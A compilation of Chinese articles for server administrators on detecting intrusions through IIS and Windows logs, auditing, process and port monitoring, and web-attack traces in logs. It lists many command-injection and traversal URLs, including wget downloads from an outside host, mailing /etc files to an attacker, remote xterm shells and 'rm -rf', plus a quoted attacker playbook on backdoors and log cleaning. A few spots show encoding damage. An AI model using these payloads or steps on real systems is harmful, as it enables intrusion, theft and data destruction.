"Global.asa" ex010318.log /i这个命令使用的是NT自带的find.exe工具（所以不怕紧急情况找不着），可以轻松的从文本文件中找到你想过滤的字符串 ，"Global.asa"是需要查询的字符串，ex010318.log是待过滤的文本文件，/i代表忽略大小写。因为我无意 把这篇文章写成微软的Help文档，所以关于这个命令的其他参数以及它的增强版FindStr.exe的用法请去查看Win20 00的帮助文件。
无论是基于日志分析软件或者是Find命令，你都可以建立一张敏感字符串列表，包含已有的IIS漏洞（比如"+.htr"） 以及未来将要出现的漏洞可能会调用的资源（比如Global.asa或者cmd.exe），通过过滤这张不断更新的字符串表，一 定可以尽早了解入侵者的行动。
     需要提醒的是，使用任何日志分析软件都会占用一定的系统资源，因此，对于IIS日志分析这样低优先级的任务，放在夜里空闲时 自动执行会比较合适，如果再写一段脚本把过滤后的可疑文本发送给系统管理员，那就更加完美了。同时，如果敏感字符串表较大，过滤 策略复杂，我建议还是用C写一个专用程序会比较合算。
2、 基于安全日志的检测
     通过基于IIS日志的入侵监测，我们能提前知道窥伺者的行踪（如果你处理失当，窥伺者随时会变成入侵者），但是IIS日志不 是万能的，它在某种情况下甚至不能记录来自80端口的入侵，根据我对IIS日志系统的分析，IIS只有在一个请求完成后才会写入 日志，换言之，如果一个请求中途失败，日志文件中是不会有它的踪影的（这里的中途失败并不是指发生HTTP400错误这样的情况 ，而是从TCP层上没有完成HTTP请求，例如?*OST大量数据时异常中断），对于入侵者来说，就有可能绕过日志系统完成大量 的活动。
     而且，对于非80 Only的主机，入侵者也可以从其它的服务进入服务器，因此，建立一套完整的安全监测系统是非常必要的。
     Win2000自带了相当强大的安全日志系统，从用户登录到特权的使用都有非常详细的记录，可惜的是，默认安装下安全审核是 关闭的，以至于一些主机被黑后根本没法追踪入侵者。所以，我们要做的第一步是在管理工具-本地安全策略-本地策略-审核策略中打 开必要的审核，一般来说，登录事件与账户管理是我们最关心的事件，同时打开成功和失败审核非常必要，其他的审核也要打开失败审核 ，这样可以使得入侵者步步维艰，一不小心就会露出马脚。仅仅打开安全审核并没有完全解决问题，如果没有很好的配置安全日志的大小 及覆盖方式，一个老练的入侵者就能够通过洪水般的伪造入侵请求覆盖掉他真正的行踪。通常情况下，将安全日志的大小指定为50MB 并且只允许覆盖7天前的日志可以避免上述情况的出现。
     设置了安全日志却不去检查跟没有设置安全日志几乎一样糟糕（唯一的优点是被黑了以后可以追查入侵者），所以，制定一个安全日 志的检查机制也是非常重要的，作为安全日志，推荐的检查时间是每天上午，这是因为，入侵者喜欢夜间行动（速度快呀，要不你入侵到 一半的时候连不上了，那可是哭都哭不出来）上午上班第一件事正好看看日志有没有异常，然后就可以放心去做其他的事了。如果你喜欢 ，也可以编写脚本每天把安全日志作为邮件发送给你（别太相信这个了，要是哪个高手上去改了你的脚本，每天发送"平安无事"……）
     除了安全日志，系统日志和应用程序日志也是非常好的辅助监测工具，一般来说，入侵者除了在安全日志中留下痕迹（如果他拿到了 Admin权限，那么他一定会去清除痕迹的），在系统和应用程序日志中也会留下蛛丝马迹，作为系统管理员，要有不放过任何异常的 态度，这样入侵者就很难隐藏他们的行踪。
3、 文件访问日志与关键文件保护
     除了系统默认的安全审核外，对于关键的文件，我们还要加设文件访问日志，记录对他们的访问。
     文件访问有很多的选项：访问、修改、执行、新建、属性更改......一般来说，关注访问和修改就能起到很大的监视作用。
     例如，如果我们监视了系统目录的修改、创建，甚至部分重要文件的访问（例如cmd.exe,net.exe，system3 2目录），那么，入侵者就很难安放后门而不引起我们的注意，要注意的是，监视的关键文件和项目不能太多，否则不仅增加系统负担， 还会扰乱日常的日志监测工作
（哪个系统管理员有耐心每天看四、五千条垃圾日志？）
     关键文件不仅仅指的是系统文件，还包括有可能对系统管理员/其他用户构成危害的任何文件，例如系统管理员的配置、桌面文件等 等，这些都是有可能用来窃取系统管理员资料/密码的。
4、 进程监控
     进程监控技术是追踪木马后门的另一个有力武器，90%以上的木马和后门是以进程的形式存在的（也有以其他形式存在的木马，参 见《揭开木马的神秘面纱三》），作为系统管理员，了解服务器上运行的每个进程是职责之一（否则不要说安全，连系统优化都没有办法 做），做一份每台服务器运行进程的列表非常必要，能帮助管理员一眼就发现入侵进程，异常的用户进程或者异常的资源占用都有可能是 非法进程。除了进程外，DLL也是危险的东西，例如把原本是exe类型的木马改写为dll后，使用rundll32运行就比较具 有迷惑性。
5、 注册表校验
     一般来说，木马或者后门都会利用注册表来再次运行自己，所以，校验注册表来发现入侵也是常用的手法之一。一般来说，如果一个 入侵者只懂得使用流行的木马，那么由于普通木马只能写入特定的几个键值（比如Run、Runonce等等），查找起来是相对容易 的，但是对于可以自己编写/改写木马的人来说，注册表的任何地方都可以藏身，**手工查找就没有可能了。（注册表藏身千变万化，例 如需要特别提出来的FakeGina技术，这种利用WINNT外嵌登录DLL（Ginadll）来获得用户密码的方法最近比较流 行，一旦中招，登录用户的密码就会被记录无遗，具体的预防方法我这里就不介绍了。）应对的方法是监控注册表的任何改动，这样改写 注册表的木马就没有办法遁形了。监控注册表的软件非常多，很多追查木马的软件都带有这样的功能，一个监控软件加上定期对注册表进 行备份，万一注册表被非授权修改，系统管理员也能在最短的时间内恢复。
6、端口监控
     虽然说不使用端口的木马已经出现，但是大部分的后门和木马还是使用TCP连接的，监控端口的状况对于由于种种原因不能封锁端 口的主机来说就是非常重要的了，我们这里不谈使用NDIS网卡高级编程的IDS系统，对于系统管理员来说，了解自己服务器上开放 的端口甚至比对进程的监控更加重要，常常使用netstat查看服务器的端口状况是一个良好的习惯，但是并不能24小时这样做， 而且NT的安全日志有一个坏习惯，喜欢记录机器名而不是IP（不知道比尔盖子怎么想的），如果你既没有防火墙又没有入侵检测软件 ，倒是可以用脚本来进行IP日志记录的，看着这个命令：
netstat -n -p tcp
10>>Netstat.log,这个命令每10秒钟自动查看一次TCP的连接状况，基于这个命令我们做一个Net log.bat文件:
time /t>>Netstat.log
Netstat -n -p tcp 10>>Netstat.log
     这个脚本将会自动记录时间和TCP连接状态，需要注意的是：如果网站访问量比较大，这样的操作是需要消耗一定的CPU时间的 ，而且日志文件将越来越大，所以请慎之又慎。（要是做个脚本就完美无缺，谁去买防火墙？:）
     一旦发现异常的端口，可以使用特殊的程序来关联端口、可执行文件和进程(如inzider就有这样的功能，它可以发现服务器 监听的端口并找出与该端口关联的文件，inzider可以从http://www.nttoolbox.com下载到)，这样无论是使用TCP还是UDP的木马都无处藏身。
7、终端服务的日志监控
     单独将终端服务（Terminal Service）的日志监控分列出来是有原因的，微软Win2000服务器版中自带的终端服务Terminal
Service是一个基于远程桌面协议（RDP）的工具，它的速度非常快，也很稳定，可以成为一个很好的远程管理软件，但是因为 这个软件功能强大而且只受到密码的保护，所以也非常的危险，一旦入侵者拥有了管理员密码，就能够象本机一样操作远程服务器（不需 要高深的NT命令行技巧，不需要编写特殊的脚本和程序，只要会用鼠标就能进行一切系统管理操作，实在是太方便、也实在是太可怕了 ）。虽然很多人都在使用终端服务来进行远程管理，但是，并不是人人都知道如何对终端服务进行审核，大多数的终端服务器上并没有打 开终端登录的日志，其实打开日志审核是很容易的，在管理工具中打开远程控制服务配置（Terminal
Service Configration），点击"连接"，右击你想配置的RDP服务（比如 RDP-TCP(Microsoft RDP
5.0)，选中书签"权限"，点击左下角的"高级"，看见上面那个"审核"了么？我们来加入一个Everyone组，这代表所有 的用户，然后审核他的"连接"、"断开"、"注销"的成功和"登录"的成功和失败就足够了，审核太多了反而不好，这个审核是记录 在安全日志中的，可以从"管理工具"->"日志查看器"中查看。现在什么人什么时候登录我都一清二楚了，可是美中不足的是 ：这个破烂玩艺居然不记录客户端的IP（只能查看在线用户的IP），而是华而不实的记录什么机器名，倒！要是别人起个PIG的机 器名你只好受他的嘲弄了，不知道微软是怎么想的，看来还是不能完全依赖微软呀，我们自己来吧？写个程序，一切搞定，你会C么？不 会？VB呢？也不会？Delphi？……什么？你什么编程语言都不会？我倒，毕竟系统管理员不是程序员呀，别急别急，我给你想办 法，我们来建立一个bat文件，叫做TSLog.bat，这个文件用来记录登录者的IP，内容如下：
time /t >>TSLog.log
netstat -n -p tcp | find ":3389">>TSLog.log
start Explorer
我来解释一下这个文件的含义：
第一行是记录用户登录的时间，time
/t的意思是直接返回系统时间（如果不加/t，系统会等待你输入新的时间），然后我们用追加符号">>"把这个时间 记入TSLog.log作为日志的时间字段；
第二行是记录用户的IP地址，netstat是用来显示当前网络连接状况的命令，-n表示显示IP和端口而不是域名、协议，-p tcp是只显示tcp协议，然后我们用管道符号"|"把这个命令的结果输出给find命令，从输出结果中查找包含":3389" 的行（这就是我们要的客户的IP所在的行，如果你更改了终端服务的端口，这个数值也要作相应的更改），最后我们同样把这个结果重 定向到日志文件TSLog.log中去，于是在SLog.log文件中，记录格式如下：
22:40
TCP　　192.168.12.28:3389　　192.168.10.123:4903　　　ESTABLISHED
22:54
TCP　　192.168.12.28:3389　　 192.168.12.29:1039　　　ESTABLISHED
也就是说只要这个TSLog.bat文件一运行，所有连在3389端口上的IP都会被记录，那么如何让这个批处理文件自动运行呢 ？我们知道，终端服务允许我们为用户自定义起始的程序，在终端服务配置中，我们覆盖用户的登录脚本设置并指定TSLog.bat 为用户登录时需要打开的脚本，这样每个用户登录后都必须执行这个脚本，因为默认的脚本（相当于shell环境）是Explore r（资源管理器），所以我在TSLog.bat的最后一行加上了启动Explorer的命令startExplorer，如果不 加这一行命令，用户是没有办法进入桌面的！当然，如果你只需要给用户特定的Shell：
例如cmd.exe或者word.exe你也可以把start Explorer?*怀扇我獾膕hell。这个脚本也可以有其他的写法，作为系统管理员，你完全可以自由发挥你的想象力、自由利 用自己的资源，例如写一个脚本把每个登录用户的IP发送到自己的信箱对于重要的服务器也是一个很好的方法。正常情况下一般的用户 没有查看终端服务设置的权限，所以他不会知道你对登录进行了IP审核，只要把TSLog.bat文件和TSLog.log文件放 在比较隐蔽的目录里就足够了，不过需要注意的是这只是一个简单的终端服务日志策略，并没有太多的安全保障措施和权限机制，如果服 务器有更高的安全要求，那还是需要通过编程或购买入侵监测软件来完成的。
8、陷阱技术
     早期的陷阱技术只是一个伪装的端口服务用来监测扫描，随着矛和盾的不断升级，现在的陷阱服务或者陷阱主机已经越来越完善，越 来越象真正的服务，不仅能截获半开式扫描，还能伪装服务的回应并记录入侵者的行为，从而帮助判断入侵者的身份。
     我本人对于陷阱技术并不是非常感兴趣，一来从技术人员角度来说，低调行事更符合安全的原则；二来陷阱主机反而成为入侵者跳板 的情况并不仅仅出现在小说中，在现实生活中也屡见不鲜，如果架设了陷阱反而被用来入侵，那真是偷鸡不成了。
     记得CoolFire说过一句话，可以用来作为对陷阱技术介绍的一个结束：在不了解情况时，不要随便进入别人的系统，因为你 永远不能事先知道系统管理员是真的白痴或者伪装成白痴的天才......
     入侵监测的初步介绍就到这里，在实际运用中，系统管理员对基础知识掌握的情况直接关系到他的安全敏感度，只有身经百战而又知 识丰富、仔细小心的系统管理员才能从一点点的蛛丝马迹中发现入侵者的影子，未雨绸缪，扼杀入侵的行动。
来源：《黑客X档案论坛精华》


80端口web服务攻击痕迹

作者：潇湘夜雨 发表时间：2001/11/24 07:53pm

摘要]
web站点默认80为服务端口，关于它的各种安全问题不断的发布出来，这些漏洞中一些甚至允许攻击者获得系统管理员的权限进入站点内部，以下是Zenomorph对一些80端口攻击方式的痕迹的研究，和告诉你怎样从日志记录中发现问题。
[详细描述]
下面部分通过一些列子，展示对web服务器和其上的应用程序普遍的攻击，和其留下的痕迹，这些列子仅仅是代表了主要的攻击方式，并没有列出所有的攻击形式，这部分将详细描述每种攻击的作用，和其怎样利用这些漏洞进行攻击。
（1）"." ".." 和 "..." 请求
这些攻击痕迹是非常普遍的用于web应用程序和web服务器，它用于允许攻击者或者蠕虫病毒程序改变web服务器的路径，获得访问非公开的区域。大多数的CGI程序漏洞含有这些".."请求。
Example:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
这个列子展示了攻击者请求mosd这个文件，如果攻击者有能力突破web服务器根目录，那么可以获得更多的信息，并进一步的获得特权。
（2）"%20" 请求
%20是表示空格的16进制数值，虽然这个并不代表你能够利用什么，但是在你浏览日志的时候会发现它，一些web服务器上运行的应用程序中这个字符可能会被有效的执行，所以，你应该仔细的查看日志。另一方面，这个请求有时可以帮助执行一些命令。
Example:
http://host/cgi-bin/lame.cgi?page=ls%20-al|
这个列子展示了攻击者执行了一个unix的命令，列出请求的整个目录的文件，导致攻击者访问你系统中重要的文件，帮助他进一步取得特权提供条件。
（3）"%00" 请求
%00表示16进制的空字节，他能够用于愚弄web应用程序，并请求不同类型的文件。
Examples:
http://host/cgi-bin/lame.cgi?page=index.html
这可能是个有效的请求在这个机子上，如果攻击者注意到这个请求动作成功，他会进一步寻找这个cgi程序的问题。
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
也许这个cgi程序不接受这个请求，原因在于它要检查这个请求文件的后缀名，如：html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效，这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型，这样，攻击者可以获得系统的路径，文件名，导致在你的系统获得更多的敏感信息
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
注意这个请求，它将骗取cgi程序认为这个文件是个确定的可接受的文件类型，一些应用程序由于愚蠢的检查有效的请求文件，这是攻击者常用的方法。
（4）"|" 请求
这是个管道字符，在unix系统用于帮助在一个请求中同时执行多个系统命令。
Example:
# cat access_log| grep -i ".."
（这个命令将显示日志中的“..“请求，常用于发现攻击者和蠕虫攻击）
常可以看到有很多web应用程序用这个字符，这也导致IDS日志中错误的报警。
在你的程序仔细的检查中，这样是有好处的，可以降低错误的警报在入侵检测系统中。
下面给出一些列子：
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
这个请求命令执行，下面是一些变化的列子
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
这个请求在unix系统中列出/etc目录的所有文件
http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
这个请求cat命令的执行并且grep命令也将执行，查询出”lame"
(5)";" 请求
在unix系统，这个字符允许多个命令在一行执行
Example:
# id;uname -a
（执行id命令后，紧跟着执行uname命令）
一些web程序用这个字符，可能导致在你的IDS日志中失败的警告，你应该仔细的检查你的web程序，让你的IDS警报失败的几率降低。
（6）"<" 和 ">" 请求
应该检查你的日志记录中这两个字符，众多的原因中，首要的一个是这个字符表明了添加数据在文件中
Example 1:
# echo "your hax0red h0 h0" >> /etc/motd （请求写信息在motd这个文件中)
一个攻击者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被攻击者用于更改web主页面。
Example 2:
http://host/something.php=<b>Hi%20mom%20Im%20Bold!</b>
你会注意到这里html语言的标志，他同样用了“〈”，“〉”字符，这种攻击不能导致攻击者对系统进行访问，它迷惑人们认为这是个合法的信息在web站点中（导致人们在访问这个联结的时候访问到攻击者设定的地址，这种请求可能会被转变成16进制的编码字符形式，使攻击的痕迹不那么明显）
（7）"!"请求
这种字符请求常用语对SS(Server Side Include) I进行攻击，如果攻击者迷惑用户点击被攻击者设定的联结，和上面的一样。
Example:
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
这个列子是攻击者可能会做的，它让一个host2站点上的文件看起来是来自于 host1上面的（当然，需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装，不易发现）
同时，这种方式也可以以web站点的权限执行命令
Example:
http://host/something.php=<!%20#<!--#exec%20cmd="id"-->
这个列子在远程的系统上执行“id"的命令，它将显示这个web站点用户的id，通常是”nobody"或者“www"
这种形式也允许包含隐藏文件。
Example:
http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->
这个隐藏文件.htpasswd不会被显示出来,Apache建立的规则会拒绝这种以.ht 形式的请求，而SSI标志会绕过这种限制，并导致安全问题
（8）"<?" 请求
这种攻击用于试图在远程的web应用程序中插入PHP程序，它可能允许执行命令，这取决于服务器的设置，和其他起作用的一些因素（比如php设置为安全模式）
Example: http://host/something.php=<? passthru("id");?>
在某些简单的php应用程序中，它可能会在远程系统上以web站点用户的权限执行本地命令
（9）"`" 请求
这种字符后面常用在perl中执行命令，这个字符在web应用程序中不是经常的使用，所以，如果看到它在你的日志中，应该非常小心
Example:
http://host/something.cgi=`id`
一个perl写的有问题的cgi程序，会导致执行id命令
[更进一步]
下面部分将讨论更多的攻击者可能执行的命令，连同被请求的文件，以及如果你有远程执行命令的缺陷，应该怎样检查发现它。这部分只是给你个好的思路，并告诉你的系统发生了什么，攻击者尝试攻击你的系统的痕迹，但并不能列举所有的攻击者使用的命令和请求的方式。
"/bin/ls"
这个命令请求整个路径，在很多的web应用程序中都有这个漏洞，如果你在日志中很多地方都看到这种请求，很大的可能性是存在远程执行命令漏洞，但并不一定是个问题，也可能是个错误的警报。再一次提醒，写好的web应用程序（cgi,asp,php...etc)是安全的基础
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"
这是一个windows的shell,一个攻击者如果访问并运行这个脚本，在服务器设置允许的条件下可以在windows机器上做任何事情，很多的蠕虫病毒就是通过80端口，传播到远程的机器上
http://host/scripts/something.asp=../../WINNT/sys tem32/cmd.exe?dir+e:
"/bin/id"
这是个2进制的文件，它的问题和/bin/ls一样，如果你在日志中很多地方都看到这种请求，很大的可能性是存在远程执行命令漏洞，但并不一定是个问题，也可能是个错误的警报。
它将显示属于哪个用户和属于哪个组
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"
这个命令可以删除文件，如果不正确的使用是非常危险的
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
"wget and tftp" 命令
这些命令常被攻击者用来下载可能进一步获得特权的文件，wget是unix下的命令，可能被用来下载后门程序，tftp是unix和nt下的命令，用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
"cat" 命令
这个命令用来查看文件内容，常用来读重要的信息，比如配置文件，密码文件，信用卡文件和你能够想到的文件
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
"echo" 命令
这个命令常用于写数据到文件中，比如“index.html”
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt| http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
"ps" 命令
列出当前运行的进程，告诉攻击者远程主机运行了那些软件，以便从中得到一些安全问题的主意，获得进一步的权限
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
"kill and killall" 命令
在unix系统这个命令用于杀掉进程，一个攻击者可以用这个命令来停止系统服务和程序，同时可以擦掉攻击者的痕迹，一些exploit会产生很多的子进程
Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
"uname" 命令
这个命令告诉攻击者远程机器的名字，一些时候，通过这个命令知道web站点位于哪个isp，也许是攻击者曾今访问过的。通常uname -a来请求，这些都将记录在日志文件中
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| http://host/cgi-bin/bad.cgi?doh=uname%20-a;
"cc, gcc, perl, python, etc..." 编译/解释命令
攻击者通过wget或者tftp下载exploit，并用cc,gcc这样的编译程序进行编译成可执行程序，进一步获得特权
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
如果你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的perl ,python脚本程序，并试图本地获得特权
"mail" 命令
攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱，也肯能是进行邮件炸弹的攻击
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@好好学习cnhonker.org%20<<%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;
"xterm/其他X 应用程序" 命令
xterm 常用来获得远程机器上的shell,如果你在你的日志中发现这些符号，可要认真分析你的系统，可能已经存在安全裂口。注意在日志中查找"%20-display%20" 这个字符，这种痕迹通常是在远程机子上启动xterm或者X应用程序
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1| http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
"chown, chmod, chgrp, chsh, etc..." 等命令
在unix系统这些命令允许改变文件的许可权限
chown = 允许设置文件的拥有者chmod = 允许设置文件的许可权限chgrp = 允许改变组对文件的拥有权限chsh = 允许改变用户的shell
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html| http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd| http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
"/etc/passwd" 文件
这是系统的密码文件，一般是shadow过的，并且不允许看到加密的口令，不过对攻击者来说，可以知道那些是有效的用户，以及系统的绝对路径，站点名称等信息，由于通常被shadow过的，所以对攻击者，通常会查看/etc/shadow 文件
"/etc/master.passwd"
这个文件是BSD系统的密码文件，包含有加密过的密码，这个文件对root帐号仅仅是只读的，而一些不熟练的攻击者会打开他试图读取里面的内容.，如果web站点是以root权限运行的，那么对攻击者来说，就能够读取里面的内容，对系统管理员很多问题也将接踵而来
"/etc/shadow"
包含有加密过的系统口令，对root帐号同样只读，和/et/master.passwd差不多
"/etc/motd"
当用户登陆进unix系统中出现的信息，就在这个"Message of the Day" 文件中 ，它提供重要的系统信息和管理员对用户的一些设置，那些是希望用户看到的，那些不是，还含有系统的版本信息，攻击者通常查看此文件，了解是什么系统在运行，对攻击者来说，下一步是搜索这种类型的系统的exploit，进一步获得系统特权
"/etc/hosts"
该文件提供ip地址和网络信息，攻击者可以了解更多的系统中的网络设置
"/usr/local/apache/conf/httpd.conf"
这是个Apache web服务器的配置文件，攻击者可以了解诸如cgi,ssi是否可访问等信息
"/etc/inetd.conf"
这是inetd服务的配置文件，攻击者可以了解远程机器上的那些服务启动，是否用了wrapper进行访问控制，如果发现wrapper 运行着，攻击者下一步会检查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件，并可能会更改里面的一些设置，获得特权
".htpasswd, .htaccess, and .htgroup"
这些文件通常在web站点用于对用户身份进行认证，攻击者会查看这些文件，并获得用户名和密码，密码文件.htpasswd被加密过，通过一些简单的破解程序进行解密，使攻击者访问站点中被保护的区域（通常用户用和用户名相同的密码，以至攻击者可以以其他帐号进行访问）
"access_log and error_log"
这些是apache服务器的日志记录文件，攻击者常会查看这些文件，看那些请求被记录，那些和其他请求不同的地方
通常，攻击者会修改这些日志文件，比如他自身的地址信息，攻击者通过80端口突破你的系统，而你的系统又没有进行备份的工作，也没有其他记录程序记录系统状况，这将使入侵检测工作变的很困难
"[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"
Windows NT系统中的密码文件，如果远程命令不可以执行，通常攻击者会请求这些文件，然后通过"l0pht crack"之类的密码破解工具进行破解，如果攻击者试图攻击administrator的密码文件，如果成功那么远程机器将被攻击者得到控制权
[溢出 分析]
我不会在这篇文章中说过多的关于溢出的话题，我将举列说明那些现象和痕迹值得注意和特别关注的地方，缓冲攻击常被攻击者通过编码转换和其他途径来达到不易发现
下面是个简单的列子
Example: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
这个列子展示了攻击者对某个应用程序发送很多的A字符，来测试程序的缓冲溢出，缓冲溢出可以获得远程主机的命令执行权限，如果是具有setuid和属主为root的程序，通过溢出，可以得到整个系统的访问权限，如果不是setuid之类的程序，那么溢出仅仅是得到运行该web站点的用户权限
这里并不能讲述所有的情况，不过你应该有定时的检查你的日志文件，如果那一天突然发现很多的请求，而平时的请求不多，那么说明你正遭受到溢出的攻击，当然也可能是一种新的网络蠕虫的攻击
[编码转换]
以上提及的所有攻击请求，攻击者通常知晓IDS系统常会机械的检查这些请求，通常是攻击者会用编码转换工具将所请求的内容转化成16进制的格式，导致IDS会忽略这些请求，我们熟知的CGI漏洞扫描工具Whisker就是个很好的列子。如果你在查看日志的时候发现大量的16进制和不常见的一些字符，那么可能攻击者尝试用一些方式对你的系统进行攻击
一种快速发现的方法是，将你的日志文件中的那些16进制的请求，拷贝到你的浏览器中，通过浏览器可以转化成正确的请求，并显示出来请求的内容，如果你不敢冒这个危险，简单的man ASCII，可以提供给你正确的编码。
[结论]
这篇文章不可能覆盖所有的80端口的攻击，但是以上已经列举了大部分普遍的攻击方式，同时告诉你如何检查你的日志文件，和怎样加如一些IDS的规则，写她的目的在于给web系统管理员应该关注什么提供一个好的思路，同时，我也希望这篇文章可以帮助给web程序的开发者写出更好的web程序


网络入侵检测步骤及思路

by littleshrimp (kaka)
http://www.chinansl.com
http://www.airarms.org
/*第一次写文章，当作调整一下思路和心态吧！：）还有好多没有写出来，因为没有亲手实践过，写出来怕误导大家！：（*/
/*欢迎大家来信指教，我的E-mail：littleshrimp@chinansl.com*/
先说 winnt & win 2000。
/*****************************************************************************/
网络入侵一般步骤及思路
by analysist
http://www.nsfocus.com
第一步：进入系统
1. 扫描目标主机。
2. 检查开放的端口，获得服务软件及版本。
3. 检查服务软件是否存在漏洞，如果是，利用该漏洞远程进入系统；否则进入下一步。
4. 检查服务软件的附属程序(*1)是否存在漏洞，如果是，利用该漏洞远程进入系统；否则进入下一步。
5. 检查服务软件是否存在脆弱帐号或密码，如果是，利用该帐号或密码系统；否则进入下一步。
6. 利用服务软件是否可以获取有效帐号或密码，如果是，利用该帐号或密码进入系统；否则进入下一步。
7. 服务软件是否泄露系统敏感信息，如果是，检查能否利用；否则进入下一步。
8. 扫描相同子网主机，重复以上步骤，直到进入目标主机或放弃。
第二步：提升权限
1. 检查目标主机上的SUID和GUID程序是否存在漏洞，如果是，利用该漏洞提升权限，否则进入下一步。
2. 检查本地服务是否存在漏洞，如果是，利用该漏洞提升权限，否则进入下一步。
3. 检查本地服务是否存在脆弱帐号或密码，如果是，利用该帐号或密码提升权限；否则进入下一步。
4. 检查重要文件的权限是否设置错误，如果是，利用该漏洞提升权限，否则进入下一步。
5. 检查配置目录(*2)中是否存在敏感信息可以利用。
6. 检查用户目录中是否存在敏感信息可以利用。
7. 检查临时文件目录(*3)是否存在漏洞可以利用。
8. 检查其它目录(*4)是否存在可以利用的敏感信息。
9. 重复以上步骤，直到获得root权限或放弃。
第三步：放置后门
最好自己写后门程序，用别人的程序总是相对容易被发现。
第四步：清理日志
最好手工修改日志，不要全部删除，也不好使用别人写的工具。
附加说明：
*1 例如WWW服务的附属程序就包括CGI程序等
*2 这里指存在配置文件的目录，如/etc等
*3 如/tmp等，这里的漏洞主要指条件竞争
*4 如WWW目录，数据文件目录等
/*****************************************************************************/
好了，大家都知道了入侵者入侵一般步骤及思路 那么我们开始做入侵检测了。
第一步、我们都知道一个入侵者想要入侵一台服务器首先要扫描这台服务器，搜集服务器的信息，以便进一步入侵该系统。系统信息被搜集的越多，此系统就越容易被入侵者入侵。 所以我们做入侵检测时，也有必要用扫描器扫描一下系统，搜集一下系统的一些信息，来看看有没有特别流行的漏洞(呵呵这个年头都时兴流行哦：)
第二步、扫描完服务器以后，查看扫描的信息－－－－>分析扫描信息。如果有重大漏洞－－－－>修补(亡羊补牢，时未晚)，如果没有转下一步。
第三步、没有漏洞，使用杀毒工具扫描系统文件，看看有没有留下什么后门程序，如：nc.exe、srv.exe......如果没有转下一步。
第四步、入侵者一般入侵一台机器后留下后门，充分利用这台机器来做一些他想做的事情，如：利用肉鸡扫描内网，进一步扩大战果，利用肉鸡作跳板入侵别的网段的机器，嫁祸于这台机器的管理员，跑流影破邮箱......
如何检测这台机器有没有装一些入侵者的工具或后门呢？
查看端口(偏好命令行程序，舒服)
1、fport.exe－－－>查看那些端口都是那些程序在使用。有没有非法的程序，和端口 winshell.exe 8110 晕倒～后门 net use 谁在用这个连接我？
2、netstat -an ---->查看那些端口与外部的ip相连。 23 x.x.x.x 没有开23端口，怎么自己打开了？？黑客！？
3、letmain.exe \\ip -admin -d 列出本机的administrators组的用户名查看是否有异常。 怎么多了一个hacker用户？？<＝＝>net user id
4、pslist.exe---->列出进程<==>任务管理器
